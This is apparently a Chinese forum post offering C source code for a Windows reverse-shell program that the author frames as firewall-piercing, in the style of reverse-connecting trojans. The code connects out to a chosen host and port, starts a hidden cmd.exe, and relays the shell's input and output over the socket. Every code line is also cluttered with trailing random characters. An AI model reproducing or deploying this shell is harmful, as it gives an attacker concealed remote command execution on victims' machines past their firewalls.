这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XwOj`N{!H
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/* ============================== MW &iNioX
Rebound port in Windows NT HWi0m/J
By wind,2006/7 SuMK=^>%
===============================*/ I@08F
#include ]6v6&YV
#include N5Eb.a9S
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#pragma comment(lib,"wsock32.lib") -4mUGh1dy
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void OutputShell(); l'fUa
SOCKET sClient; S^]i
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H5j~<@STC
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void main(int argc,char **argv) 3+;]dqZ
{ v<,?%(g)7
WSADATA stWsaData; qY]IX9'kV
int nRet; cxFfAk\,en
SOCKADDR_IN stSaiClient,stSaiServer; {a- p/\U
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if(argc != 3) I
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{ 4E}]>
printf("Useage:\n\rRebound DestIP DestPort\n"); w^sM,c5d
return; r]iec{ ^
} _'JKPD[
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WSAStartup(MAKEWORD(2,2),&stWsaData); Cp7 EJr~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2~AGOx
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stSaiClient.sin_family = AF_INET; -z)I;R
stSaiClient.sin_port = htons(0); !n~p?joJ*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'KMyaEh.u
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uli,@5%\
{ / Li?;H
printf("Bind Socket Failed!\n"); u~=>$oT't
return; ,~`R{,N`
} g!(j.xe
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stSaiServer.sin_family = AF_INET; DJr{;t$7~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LGGC=;{}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :PuJF`k
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) EtK,C~C}8
{ W!
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printf("Connect Error!"); H.qp~-n
return; =ltT6of@o
} ]e@'9`G-'
OutputShell(); P(8zJk6h),
} 7 [N1Vr(1
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void OutputShell() pPem;i^~
{ _"6{Rb53v=
char szBuff[1024]; :jKDM
SECURITY_ATTRIBUTES stSecurityAttributes; by,"Orpwq;
OSVERSIONINFO stOsversionInfo; 23BzD^2a
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f8'D{OP"G
STARTUPINFO stStartupInfo; hVo]fD|W
char *szShell; ^$c+r%9k
PROCESS_INFORMATION stProcessInformation; )"s <hR,
unsigned long lBytesRead; eL[BH8l
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7Rqjf6kX`O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N1`/~Gi
stSecurityAttributes.lpSecurityDescriptor = 0; H]K(`)y}4
stSecurityAttributes.bInheritHandle = TRUE; k;/U6,LQ*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); U@yn%k9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [GJ_]w^}j
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vzA)pB~;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dp4\rps
stStartupInfo.wShowWindow = SW_HIDE; %GQPiWu
stStartupInfo.hStdInput = hReadPipe; nm2bBX,fh
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m~mw1r
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GetVersionEx(&stOsversionInfo); $e1==@
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switch(stOsversionInfo.dwPlatformId) 42kr&UY&
{ |{udd~oE&
case 1: gZF-zhnC
szShell = "command.com"; GZ(
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break; tP8>0\$)
default: CqOvVv
szShell = "cmd.exe"; ^=Q/H
break; `Nmw
} H5j6$y|I|N
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Li)rs<IX;m
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send(sClient,szMsg,77,0); {Hg.ctam
while(1) i_8v >F
{ Q{1Q w'+@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NK.] yw'
if(lBytesRead) \7o&'zEw
{ 9}LcJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P0,@#M&
send(sClient,szBuff,lBytesRead,0); L q<#
} Ib3n%AG
else ?o307r
{ yXyL,R
lBytesRead=recv(sClient,szBuff,1024,0); Wv!#B$J~U
if(lBytesRead<=0) break; q9 !)YP+w
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <=2\xJfxB
} I(!i"b9
} VJquB8?H
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return; w@,Yj#_9cx
}